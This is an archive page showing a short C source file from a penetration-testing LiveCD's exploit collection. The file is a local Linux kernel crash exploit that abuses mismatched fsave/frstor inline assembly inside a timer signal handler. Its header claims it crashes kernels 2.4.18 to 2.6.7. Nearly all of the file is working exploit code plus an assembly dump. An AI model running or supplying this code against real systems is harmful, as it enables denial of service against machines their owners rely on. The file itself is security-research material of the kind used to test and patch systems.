home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / kernelcrash24-26.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  71 lines

  1. /* -----------------------------------------------------------------------------
  2.  * frstor Local Kernel exploit
  3.  * Crashes any kernel from 2.4.18
  4.  * to 2.6.7 because frstor in assembler inline offsets in memory by 4.
  5.  * Original proof of concept code
  6.  * by stian_@_nixia.no.
  7.  * Added some stuff by lorenzo_@_gnu.org
  8.  * and fixed the fsave line with (*fpubuf).
  9.  * -----------------------------------------------------------------------------
  10.  */
  11.  
  12. /*
  13. -----------------------------------------
  14. Some debugging information made
  15. available by stian_@_nixia.no
  16. -----------------------------------------
  17. TakeDown:
  18.         pushl   %ebp
  19.         movl    %esp, %ebp
  20.         subl    $136, %esp
  21.         leal    -120(%ebp), %eax
  22.         movl    %eax, -124(%ebp)
  23. #APP
  24.         fsave -124(%ebp)
  25.  
  26. #NO_APP
  27.         subl    $4, %esp
  28.         pushl   $1
  29.         pushl   $.LC0
  30.         pushl   $2
  31.         call    write
  32.         addl    $16, %esp
  33.         leal    -120(%ebp), %eax
  34.         movl    %eax, -128(%ebp)
  35. #APP
  36.         frstor -128(%ebp)
  37.  
  38. #NO_APP
  39.         leave
  40.         ret
  41. */
  42.  
  43. #include <sys/time.h>
  44. #include <signal.h>
  45. #include <unistd.h>
  46.  
  47. static void TakeDown(int ignore)
  48. {
  49.  char fpubuf[108];
  50. // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
  51. __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf)); 
  52.  write(2, "*", 1);
  53.  __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  54. }
  55.  
  56. int main(int argc, char *argv[])
  57. {
  58.  struct itimerval spec;
  59.  signal(SIGALRM, TakeDown);
  60.  spec.it_interval.tv_sec=0;
  61.  spec.it_interval.tv_usec=100;
  62.  spec.it_value.tv_sec=0;
  63.  spec.it_value.tv_usec=100;
  64.  setitimer(ITIMER_REAL, &spec, NULL);
  65.  while(1)
  66.   write(1, ".", 1);
  67.  
  68.  return 0;
  69. }
  70. // <<EOF
  71.